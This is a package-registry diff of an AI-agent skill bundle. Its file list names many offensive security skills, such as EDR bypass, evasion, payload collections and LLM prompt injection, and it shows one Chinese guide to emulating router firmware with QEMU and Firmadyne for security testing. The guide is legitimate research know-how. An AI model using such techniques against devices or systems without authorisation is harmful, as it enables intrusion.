opencode-skills-collection 4.0.43 → 4.0.45
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bundled-skills/.antigravity-install-manifest.json +47 -1
- package/bundled-skills/api-rate-limit-handler/SKILL.md +282 -0
- package/bundled-skills/api-security/SKILL.md +205 -0
- package/bundled-skills/api-security/references/jwt-oauth-testing.md +123 -0
- package/bundled-skills/api-security/references/rest-graphql-testing.md +137 -0
- package/bundled-skills/apk-reverse/SKILL.md +438 -0
- package/bundled-skills/apk-reverse/references/android-advanced.md +365 -0
- package/bundled-skills/apk-reverse/references/apk-security-checklist.md +230 -0
- package/bundled-skills/apk-reverse/references/frida-bypass-kit.md +70 -0
- package/bundled-skills/apk-reverse/references/frida-cookbook.md +472 -0
- package/bundled-skills/attack-chain/SKILL.md +185 -0
- package/bundled-skills/attack-chain/references/attack-playbooks.md +126 -0
- package/bundled-skills/attack-chain/references/evasion-cheatsheet.md +133 -0
- package/bundled-skills/attack-chain/references/lifecycle-checklist.md +37 -0
- package/bundled-skills/attack-chain/references/phases.md +490 -0
- package/bundled-skills/binary-diff/SKILL.md +320 -0
- package/bundled-skills/binary-diff/references/prompt-template.md +173 -0
- package/bundled-skills/browser-extension-reverse/SKILL.md +99 -0
- package/bundled-skills/browser-extension-reverse/references/extension-analysis.md +10 -0
- package/bundled-skills/case-review/SKILL.md +167 -0
- package/bundled-skills/cloud-k8s/SKILL.md +124 -0
- package/bundled-skills/cloud-k8s/references/k8s-cloud-checklist.md +16 -0
- package/bundled-skills/code-audit/SKILL.md +92 -0
- package/bundled-skills/code-audit/references/sast-review-checklist.md +10 -0
- package/bundled-skills/database-security/SKILL.md +81 -0
- package/bundled-skills/database-security/references/db-misconfig-checklist.md +9 -0
- package/bundled-skills/diagram-generator/SKILL.md +199 -0
- package/bundled-skills/diagram-generator/references/README.md +3 -0
- package/bundled-skills/diagram-generator/references/diagram-patterns.md +254 -0
- package/bundled-skills/digital-forensics/SKILL.md +93 -0
- package/bundled-skills/digital-forensics/references/forensics-triage.md +10 -0
- package/bundled-skills/docs/integrations/jetski-cortex.md +3 -3
- package/bundled-skills/docs/integrations/jetski-gemini-loader/README.md +1 -1
- package/bundled-skills/docs/maintainers/repo-growth-seo.md +1 -1
- package/bundled-skills/docs/maintainers/skills-update-guide.md +1 -1
- package/bundled-skills/docs/sources/sources.md +9 -0
- package/bundled-skills/docs/users/aas-core.md +1 -1
- package/bundled-skills/docs/users/bundles.md +1 -1
- package/bundled-skills/docs/users/claude-code-skills.md +1 -1
- package/bundled-skills/docs/users/gemini-cli-skills.md +1 -1
- package/bundled-skills/docs/users/kiro-integration.md +1 -1
- package/bundled-skills/docs/users/usage.md +3 -3
- package/bundled-skills/docs/users/visual-guide.md +4 -4
- package/bundled-skills/docs-generator/SKILL.md +197 -0
- package/bundled-skills/docs-generator/references/security-report-templates.md +348 -0
- package/bundled-skills/docs-generator/references/templates.md +102 -0
- package/bundled-skills/docs-generator/references/vendor-report-rules.md +263 -0
- package/bundled-skills/dotnet-reverse/SKILL.md +197 -0
- package/bundled-skills/dotnet-reverse/references/common-workflow.md +171 -0
- package/bundled-skills/dotnet-reverse/references/obfuscators.md +145 -0
- package/bundled-skills/dotnet-reverse/references/sharp-tools.md +164 -0
- package/bundled-skills/edr-bypass-re/SKILL.md +248 -0
- package/bundled-skills/edr-bypass-re/references/hook-survey.md +226 -0
- package/bundled-skills/edr-bypass-re/references/telemetry-blinding.md +346 -0
- package/bundled-skills/edr-bypass-re/references/unhook-techniques.md +338 -0
- package/bundled-skills/email-security/SKILL.md +81 -0
- package/bundled-skills/email-security/references/email-auth-checklist.md +8 -0
- package/bundled-skills/firmware-pentest/SKILL.md +381 -0
- package/bundled-skills/firmware-pentest/references/emba-automated-analysis.md +192 -0
- package/bundled-skills/firmware-pentest/references/emulation-and-fuzz.md +337 -0
- package/bundled-skills/firmware-pentest/references/extraction-methodology.md +285 -0
- package/bundled-skills/ghidra-reverse/SKILL.md +98 -0
- package/bundled-skills/ghidra-reverse/references/ghidra-cheatsheet.md +12 -0
- package/bundled-skills/go-rust-reverse/SKILL.md +82 -0
- package/bundled-skills/go-rust-reverse/references/go-rust-notes.md +5 -0
- package/bundled-skills/hardware-security/SKILL.md +80 -0
- package/bundled-skills/hardware-security/references/debug-interface-triage.md +7 -0
- package/bundled-skills/ida-reverse/SKILL.md +401 -0
- package/bundled-skills/ida-reverse/references/LOCAL-SETUP.md +66 -0
- package/bundled-skills/ida-reverse/references/ida-mcp-cheatsheet.md +515 -0
- package/bundled-skills/identity-federation/SKILL.md +81 -0
- package/bundled-skills/identity-federation/references/sso-flow-checklist.md +9 -0
- package/bundled-skills/instructree/SKILL.md +94 -0
- package/bundled-skills/js-reverse/SKILL.md +239 -0
- package/bundled-skills/js-reverse/references/ast-deobfuscation.md +3 -0
- package/bundled-skills/js-reverse/references/automation-entry.md +12 -0
- package/bundled-skills/js-reverse/references/env-patching.md +6 -0
- package/bundled-skills/js-reverse/references/fallbacks.md +8 -0
- package/bundled-skills/js-reverse/references/instrumentation.md +9 -0
- package/bundled-skills/js-reverse/references/local-rebuild.md +11 -0
- package/bundled-skills/js-reverse/references/mcp-task-template.md +30 -0
- package/bundled-skills/js-reverse/references/node-env-rebuild.md +9 -0
- package/bundled-skills/js-reverse/references/output-contract.md +9 -0
- package/bundled-skills/js-reverse/references/task-artifacts.md +11 -0
- package/bundled-skills/js-reverse/references/task-input-template.md +11 -0
- package/bundled-skills/js-reverse/references/tool-defaults.md +7 -0
- package/bundled-skills/llm-security/SKILL.md +160 -0
- package/bundled-skills/llm-security/references/agent-obedience-engineering.md +243 -0
- package/bundled-skills/llm-security/references/agent-security-testing.md +116 -0
- package/bundled-skills/llm-security/references/owasp-llm-top10.md +48 -0
- package/bundled-skills/llm-security/references/prompt-injection-methodology.md +107 -0
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package-lock.json +4 -4
- package/bundled-skills/loki-mode/examples/todo-app-generated/backend/package.json +1 -1
- package/bundled-skills/macos-reverse/SKILL.md +85 -0
- package/bundled-skills/macos-reverse/references/macho-triage.md +10 -0
- package/bundled-skills/malware-analysis/SKILL.md +311 -0
- package/bundled-skills/malware-analysis/references/anti-analysis-techniques.md +205 -0
- package/bundled-skills/malware-analysis/references/sandbox-orchestration.md +204 -0
- package/bundled-skills/malware-analysis/references/yara-sigma-rules.md +232 -0
- package/bundled-skills/mobile-reverse/SKILL.md +222 -0
- package/bundled-skills/mobile-reverse/references/anti-detection-bypass.md +182 -0
- package/bundled-skills/mobile-reverse/references/frida-objection-deep.md +218 -0
- package/bundled-skills/mobile-reverse/references/ios-reverse-guide.md +177 -0
- package/bundled-skills/muapi-media/SKILL.md +311 -0
- package/bundled-skills/ot-ics/SKILL.md +117 -0
- package/bundled-skills/ot-ics/references/ot-safe-assessment.md +10 -0
- package/bundled-skills/patch-diff-exploit/SKILL.md +278 -0
- package/bundled-skills/patch-diff-exploit/references/diff-tools-comparison.md +271 -0
- package/bundled-skills/patch-diff-exploit/references/patch-tuesday-workflow.md +253 -0
- package/bundled-skills/patch-diff-exploit/references/root-cause-and-poc.md +198 -0
- package/bundled-skills/pentest-tools/SKILL.md +346 -0
- package/bundled-skills/pentest-tools/references/ai-pentest-agents.md +148 -0
- package/bundled-skills/pentest-tools/references/ai-pentesting-landscape-2026.md +73 -0
- package/bundled-skills/pentest-tools/references/automation-loop-pattern.md +153 -0
- package/bundled-skills/pentest-tools/references/awesome-pentest-digest.md +175 -0
- package/bundled-skills/pentest-tools/references/burpsuite-mcp-guide.md +769 -0
- package/bundled-skills/pentest-tools/references/client-side-lab-playbook.md +155 -0
- package/bundled-skills/pentest-tools/references/kali-mcp-ecosystem.md +119 -0
- package/bundled-skills/pentest-tools/references/msf-protocol.md +169 -0
- package/bundled-skills/pentest-tools/references/network-attack-defense.md +350 -0
- package/bundled-skills/pentest-tools/references/nuclei-guide-2026.md +157 -0
- package/bundled-skills/pentest-tools/references/payloads.md +32 -0
- package/bundled-skills/pentest-tools/references/pentest-ai-agents-matrix.md +117 -0
- package/bundled-skills/pentest-tools/references/pentest-loop.md +270 -0
- package/bundled-skills/pentest-tools/references/recon-pipeline.md +154 -0
- package/bundled-skills/pentest-tools/references/templates/findings.md +21 -0
- package/bundled-skills/pentest-tools/references/templates/progress.md +17 -0
- package/bundled-skills/pentest-tools/references/templates/rules.md +35 -0
- package/bundled-skills/pentest-tools/references/templates/scope.md +29 -0
- package/bundled-skills/pentest-tools/references/templates/task_plan.md +27 -0
- package/bundled-skills/pentest-tools/references/web-attack-cheatsheet.md +387 -0
- package/bundled-skills/pentest-tools/src-hunter/SKILL.md +243 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.en.md +115 -0
- package/bundled-skills/pentest-tools/src-hunter/references/README.md +148 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/00-index.md +44 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/chinese-srcfingerprints.md +515 -0
- package/bundled-skills/pentest-tools/src-hunter/references/dictionaries/default-credentials-cn.md +274 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/00-index.md +66 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/banking-finance.md +338 -0
- package/bundled-skills/pentest-tools/src-hunter/references/industry/telecom-isp.md +315 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/00-index.md +68 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/01-attack-priority.md +143 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/02-bypass-toolkit.md +357 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/03-evidence-discipline.md +205 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/04-control-gap-hunting.md +238 -0
- package/bundled-skills/pentest-tools/src-hunter/references/methodology/05-srctimebox-priority.md +161 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/adcs/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/exchange/346/224/273/345/207/273.md +254 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet/sharepoint/346/224/273/345/207/273.md +113 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//344/277/241/346/201/257/346/224/266/351/233/206.md +947 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/205/215/346/235/200/344/270/216/350/247/204/351/201/277.md +780 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/207/255/350/257/201/347/252/203/345/217/226.md +1259 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//345/237/237/346/270/227/351/200/217/346/224/273/345/207/273.md +753 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/346/217/220/345/215/207.md +819 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/235/203/351/231/220/347/273/264/346/214/201.md +577 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//346/250/252/345/220/221/347/247/273/345/212/250.md +838 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/intranet//351/232/247/351/201/223/344/273/243/347/220/206.md +604 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ai/345/256/211/345/205/250.md +698 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/api/345/256/211/345/205/250.md +1935 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/csrf/350/267/250/347/253/231/350/257/267/346/261/202/344/274/252/351/200/240.md +952 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/jwt/345/256/211/345/205/250.md +496 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/lfi-rfi/346/226/207/344/273/266/345/214/205/345/220/253.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/rce/350/277/234/347/250/213/344/273/243/347/240/201/346/211/247/350/241/214.md +1329 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/sql-nosql/346/263/250/345/205/245.md +1924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssrf/346/234/215/345/212/241/347/253/257/350/257/267/346/261/202/344/274/252/351/200/240.md +1256 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/ssti/346/250/241/346/235/277/346/263/250/345/205/245.md +1151 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/websocket/345/256/211/345/205/250.md +487 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xss/350/267/250/347/253/231/350/204/232/346/234/254.md +1465 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web/xxe/345/256/236/344/275/223/346/263/250/345/205/245.md +815 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/270/232/345/212/241/351/200/273/350/276/221/346/274/217/346/264/236.md +594 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/272/221/345/256/211/345/205/250/346/274/217/346/264/236.md +561 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//344/276/233/345/272/224/351/223/276/346/224/273/345/207/273.md +399 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/216/237/345/236/213/351/223/276/346/261/241/346/237/223.md +401 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//345/274/200/346/224/276/351/207/215/345/256/232/345/220/221.md +396 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/226/207/344/273/266/346/274/217/346/264/236.md +0 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//346/241/206/346/236/266/346/274/217/346/264/236.md +2304 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/202/271/345/207/273/345/212/253/346/214/201.md +339 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//347/274/223/345/255/230/344/270/216cdn/345/256/211/345/205/250.md +497 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/256/244/350/257/201/346/274/217/346/264/236.md +1778 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/by-category/web//350/257/267/346/261/202/350/265/260/347/247/201.md +854 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/index.md +69 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/web/346/270/227/351/200/217.md +662 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools/windows/346/270/227/351/200/217.md +100 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//344/277/241/346/201/257/346/224/266/351/233/206.md +852 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/206/205/347/275/221/346/270/227/351/200/217.md +873 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/207/255/350/257/201/347/252/203/345/217/226.md +186 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/237/237/346/270/227/351/200/217.md +50 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//345/257/206/347/240/201/346/224/273/345/207/273.md +462 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/235/203/351/231/220/346/217/220/345/215/207.md +168 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//346/274/217/346/264/236/345/210/251/347/224/250.md +445 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/263/273/347/273/237/345/221/275/344/273/244.md +410 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/272/242/351/230/237/345/267/245/345/205/267.md +64 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//347/274/226/347/240/201/350/247/243/347/240/201.md +226 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/tools//351/232/247/351/201/223/344/273/243/347/220/206.md +84 -0
- package/bundled-skills/pentest-tools/src-hunter/references/payloader/waf-bypass.md +6504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/00-index.md +57 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/api-rest.md +2050 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/arbitrary-x-authz.md +481 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/dos.md +615 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/file-upload.md +1365 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/graphql.md +253 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/http-smuggling.md +924 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/info-disclosure.md +432 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/intranet-postexp.md +4845 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/llm-prompt-injection.md +1394 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/logic-flaws.md +1796 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/mobile.md +397 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/oauth-saml-jwt.md +2504 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/path-traversal.md +1297 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/race-conditions.md +207 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/rce.md +4829 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/sqli.md +1620 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/ssrf-cache-host.md +2098 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/unauth-access.md +330 -0
- package/bundled-skills/pentest-tools/src-hunter/references/playbooks/xss.md +1159 -0
- package/bundled-skills/pentest-tools/src-hunter/references/templates/report-submission.md +346 -0
- package/bundled-skills/pentest-tools/src-hunter/references/tools/mcp-jshook.md +174 -0
- package/bundled-skills/protocol-reverse/SKILL.md +108 -0
- package/bundled-skills/protocol-reverse/references/protocol-workflow.md +29 -0
- package/bundled-skills/pwn-chain/SKILL.md +209 -0
- package/bundled-skills/pwn-chain/references/heap-pwn.md +283 -0
- package/bundled-skills/pwn-chain/references/kernel-pwn.md +370 -0
- package/bundled-skills/pwn-chain/references/stack-pwn.md +312 -0
- package/bundled-skills/radare2/SKILL.md +460 -0
- package/bundled-skills/radare2/references/cheatsheet.md +129 -0
- package/bundled-skills/radio-sdr/SKILL.md +77 -0
- package/bundled-skills/radio-sdr/references/sdr-lab-rules.md +6 -0
- package/bundled-skills/reverse-browser-automation/SKILL.md +249 -0
- package/bundled-skills/reverse-browser-automation/references/playwright-cheatsheet.md +425 -0
- package/bundled-skills/reverse-engineering/SKILL.md +213 -0
- package/bundled-skills/reverse-engineering/dsl-vm-reverse/SKILL.md +388 -0
- package/bundled-skills/reverse-engineering/references/ai-assisted-re.md +149 -0
- package/bundled-skills/reverse-engineering/references/anti-analysis.md +836 -0
- package/bundled-skills/reverse-engineering/references/awesome-re-resources.md +135 -0
- package/bundled-skills/reverse-engineering/references/crypto-decode-tools.md +220 -0
- package/bundled-skills/reverse-engineering/references/elf-analysis.md +296 -0
- package/bundled-skills/reverse-engineering/references/field-notes.md +540 -0
- package/bundled-skills/reverse-engineering/references/go-reverse.md +240 -0
- package/bundled-skills/reverse-engineering/references/kernel-driver-reverse.md +298 -0
- package/bundled-skills/reverse-engineering/references/languages-compiled.md +587 -0
- package/bundled-skills/reverse-engineering/references/languages-platforms.md +486 -0
- package/bundled-skills/reverse-engineering/references/languages.md +499 -0
- package/bundled-skills/reverse-engineering/references/nonpe-format-cookbook.md +301 -0
- package/bundled-skills/reverse-engineering/references/ollvm-deobfuscation.md +501 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-2.md +397 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf-3.md +719 -0
- package/bundled-skills/reverse-engineering/references/patterns-ctf.md +532 -0
- package/bundled-skills/reverse-engineering/references/patterns.md +801 -0
- package/bundled-skills/reverse-engineering/references/platforms-hardware.md +304 -0
- package/bundled-skills/reverse-engineering/references/platforms.md +442 -0
- package/bundled-skills/reverse-engineering/references/re-agent-workflow.md +240 -0
- package/bundled-skills/reverse-engineering/references/tools-advanced.md +822 -0
- package/bundled-skills/reverse-engineering/references/tools-dynamic.md +846 -0
- package/bundled-skills/reverse-engineering/references/tools.md +546 -0
- package/bundled-skills/supply-chain-security/SKILL.md +180 -0
- package/bundled-skills/supply-chain-security/references/cicd-pipeline-security.md +137 -0
- package/bundled-skills/supply-chain-security/references/sbom-sca-methodology.md +74 -0
- package/bundled-skills/thick-client/SKILL.md +104 -0
- package/bundled-skills/thick-client/references/thick-client-checklist.md +9 -0
- package/bundled-skills/threat-hunting/SKILL.md +94 -0
- package/bundled-skills/threat-hunting/references/hunting-loop.md +5 -0
- package/bundled-skills/threat-intelligence/SKILL.md +176 -0
- package/bundled-skills/threat-intelligence/references/x-public-intelligence.md +93 -0
- package/bundled-skills/tree-ring-memory/SKILL.md +29 -9
- package/bundled-skills/wifi-wireless/SKILL.md +80 -0
- package/bundled-skills/wifi-wireless/references/wireless-lab-rules.md +6 -0
- package/bundled-skills/windows-ad/SKILL.md +109 -0
- package/bundled-skills/windows-ad/references/ad-attack-paths.md +12 -0
- package/package.json +1 -1
- package/skills_index.json +1214 -2
|
@@ -0,0 +1,337 @@
|
|
|
1
|
+
# 仿真与模糊测试
|
|
2
|
+
|
|
3
|
+
参考:
|
|
4
|
+
- Firmadyne https://github.com/firmadyne/firmadyne
|
|
5
|
+
- FAT https://github.com/attify/firmware-analysis-toolkit
|
|
6
|
+
- AFL++ https://github.com/AFLplusplus/AFLplusplus
|
|
7
|
+
|
|
8
|
+
## 仿真三档
|
|
9
|
+
|
|
10
|
+
| 档位 | 工具 | 适用 | 难度 |
|
|
11
|
+
|------|------|------|------|
|
|
12
|
+
| 用户态 | qemu-*-static + chroot | 单个二进制(httpd / cgibin) | 低 |
|
|
13
|
+
| 全系统 | Firmadyne / FAT | 整个固件起 init / 网络栈 / NVRAM | 中 |
|
|
14
|
+
| 半真机 | qemu + 真硬件 GPIO / 协处理器透传 | 涉及外设的固件 | 高 |
|
|
15
|
+
| 纯真机 | UART / JTAG | 仿真起不来,必须上硬件 | 高 |
|
|
16
|
+
|
|
17
|
+
选择策略:
|
|
18
|
+
|
|
19
|
+
```text
|
|
20
|
+
只想看 httpd 接口 → 用户态
|
|
21
|
+
想真实跑起来管理界面 → 全系统
|
|
22
|
+
仿真起不来某外设 → 半真机或硬件
|
|
23
|
+
不在意效率追求真实 → 真机
|
|
24
|
+
```
|
|
25
|
+
|
|
26
|
+
## 用户态仿真(QEMU User Mode)
|
|
27
|
+
|
|
28
|
+
最快路径,几条命令出 shell。
|
|
29
|
+
|
|
30
|
+
```bash
|
|
31
|
+
# 1. 把 qemu-user-static 拷进 rootfs
|
|
32
|
+
cp /usr/bin/qemu-mipsel-static squashfs-root/usr/bin/
|
|
33
|
+
|
|
34
|
+
# 2. chroot 进去
|
|
35
|
+
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /bin/sh
|
|
36
|
+
|
|
37
|
+
# 3. 直接跑目标 binary
|
|
38
|
+
sudo chroot squashfs-root /usr/bin/qemu-mipsel-static /usr/sbin/httpd
|
|
39
|
+
|
|
40
|
+
# 4. 不 chroot 直接跑(路径相对)
|
|
41
|
+
qemu-mipsel-static -L squashfs-root/ squashfs-root/usr/sbin/httpd
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
架构对照表:
|
|
45
|
+
|
|
46
|
+
| 固件架构 | qemu binary |
|
|
47
|
+
|---------|-------------|
|
|
48
|
+
| MIPS little-endian (MT 系列) | qemu-mipsel-static |
|
|
49
|
+
| MIPS big-endian (BCM 系列) | qemu-mips-static |
|
|
50
|
+
| ARM little-endian (大多数) | qemu-arm-static |
|
|
51
|
+
| ARM 64 | qemu-aarch64-static |
|
|
52
|
+
| PowerPC | qemu-ppc-static |
|
|
53
|
+
| SuperH | qemu-sh4-static |
|
|
54
|
+
|
|
55
|
+
判断架构:
|
|
56
|
+
|
|
57
|
+
```bash
|
|
58
|
+
file squashfs-root/bin/busybox
|
|
59
|
+
# 输出例:ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV)
|
|
60
|
+
# LSB = mipsel, MSB = mipseb
|
|
61
|
+
```
|
|
62
|
+
|
|
63
|
+
### 用户态的坑
|
|
64
|
+
|
|
65
|
+
- **`/proc` 不可用** → `mount -t proc proc squashfs-root/proc`
|
|
66
|
+
- **缺设备节点** → `mknod squashfs-root/dev/null c 1 3`
|
|
67
|
+
- **DNS 解析失败** → 拷一份 `/etc/resolv.conf` 进去
|
|
68
|
+
- **网络监听** → qemu-user 对网络栈支持有限,bind 高端口能成,低端口可能要 root
|
|
69
|
+
- **nvram_get 拿不到值** → 用户态没 NVRAM,httpd 经常崩;上全系统仿真
|
|
70
|
+
|
|
71
|
+
## 全系统仿真(Firmadyne)
|
|
72
|
+
|
|
73
|
+
完整流程:提取 → 识别架构 → 构造 image → 启动 + NVRAM hack。
|
|
74
|
+
|
|
75
|
+
### 安装
|
|
76
|
+
|
|
77
|
+
```bash
|
|
78
|
+
git clone --recursive https://github.com/firmadyne/firmadyne.git ~/tools/firmadyne
|
|
79
|
+
cd ~/tools/firmadyne
|
|
80
|
+
sudo ./download.sh # 下载预编译内核
|
|
81
|
+
|
|
82
|
+
# 配置 PostgreSQL
|
|
83
|
+
sudo -u postgres createuser -P firmadyne # 密码 firmadyne
|
|
84
|
+
sudo -u postgres createdb -O firmadyne firmware
|
|
85
|
+
sudo -u postgres psql -d firmware < ./database/schema
|
|
86
|
+
```
|
|
87
|
+
|
|
88
|
+
### 完整流程
|
|
89
|
+
|
|
90
|
+
```bash
|
|
91
|
+
cd ~/tools/firmadyne
|
|
92
|
+
FW=/path/to/firmware.bin
|
|
93
|
+
|
|
94
|
+
# Step 1: 注册固件到数据库
|
|
95
|
+
./sources/extractor/extractor.py -b TPLink -sql 127.0.0.1 -np -nk \
|
|
96
|
+
"$FW" images
|
|
97
|
+
|
|
98
|
+
# Step 2: 识别架构
|
|
99
|
+
IID=$(psql -d firmware -U firmadyne -c "SELECT id FROM image \
|
|
100
|
+
ORDER BY id DESC LIMIT 1;" -t | tr -d ' ')
|
|
101
|
+
./scripts/getArch.sh "./images/${IID}.tar.gz"
|
|
102
|
+
|
|
103
|
+
# Step 3: 把内核 + rootfs 装配成可启动 image
|
|
104
|
+
./scripts/tar2db.py -i "$IID" -f "./images/${IID}.tar.gz"
|
|
105
|
+
sudo ./scripts/makeImage.sh "$IID"
|
|
106
|
+
|
|
107
|
+
# Step 4: 推断网络配置(DHCP / 静态 IP)
|
|
108
|
+
./scripts/inferNetwork.sh "$IID"
|
|
109
|
+
|
|
110
|
+
# Step 5: 启动
|
|
111
|
+
./scratch/${IID}/run.sh
|
|
112
|
+
```
|
|
113
|
+
|
|
114
|
+
启动后会输出仿真 IP,浏览器访问:
|
|
115
|
+
|
|
116
|
+
```bash
|
|
117
|
+
# 假设输出 192.168.0.1
|
|
118
|
+
curl -I http://192.168.0.1/
|
|
119
|
+
nmap -p- 192.168.0.1
|
|
120
|
+
```
|
|
121
|
+
|
|
122
|
+
### NVRAM hack
|
|
123
|
+
|
|
124
|
+
Firmadyne 自带 `libnvram.so`,hook 所有 nvram 读取调用,返回默认值。
|
|
125
|
+
|
|
126
|
+
```bash
|
|
127
|
+
# 查看 libnvram 默认值表
|
|
128
|
+
cat ~/tools/firmadyne/nvram_files/nvram.default
|
|
129
|
+
|
|
130
|
+
# 加自定义 NVRAM 项(针对崩在特定 nvram_get 的服务)
|
|
131
|
+
echo "wan_ipaddr=192.168.0.100" >> ~/tools/firmadyne/nvram_files/nvram.default
|
|
132
|
+
echo "lan_ifname=br0" >> ~/tools/firmadyne/nvram_files/nvram.default
|
|
133
|
+
|
|
134
|
+
# 重新打包 image
|
|
135
|
+
sudo ./scripts/makeImage.sh "$IID"
|
|
136
|
+
```
|
|
137
|
+
|
|
138
|
+
### 常见坑
|
|
139
|
+
|
|
140
|
+
| 现象 | 原因 | 修法 |
|
|
141
|
+
|------|------|------|
|
|
142
|
+
| 启动卡在 "init started" | 缺 /dev 节点 | `MAKEDEV` 在镜像里手工建 |
|
|
143
|
+
| httpd 启动即崩 | nvram_get 缺值 | 加 nvram.default |
|
|
144
|
+
| bind 错网卡 | inferNetwork 推错 | 手工改 `./scratch/${IID}/run.sh` 的 `-net nic` |
|
|
145
|
+
| IPC 信号量错 | 内核版本不匹配 | 换 Firmadyne 自带的对应架构内核 |
|
|
146
|
+
| 内核 panic | 架构识别错 | 重跑 getArch.sh,或手工指定 |
|
|
147
|
+
| 没网卡 | 固件没自动 ifconfig | 进仿真 shell `ifconfig br0 192.168.0.1 up` |
|
|
148
|
+
| 串口卡死 | tty 未分配 | `run.sh` 加 `-serial mon:stdio` |
|
|
149
|
+
|
|
150
|
+
## FAT(Firmware Analysis Toolkit)
|
|
151
|
+
|
|
152
|
+
Firmadyne 的封装,一行启动。
|
|
153
|
+
|
|
154
|
+
```bash
|
|
155
|
+
git clone https://github.com/attify/firmware-analysis-toolkit.git ~/tools/fat
|
|
156
|
+
cd ~/tools/fat
|
|
157
|
+
sudo pip3 install -r requirements.txt
|
|
158
|
+
|
|
159
|
+
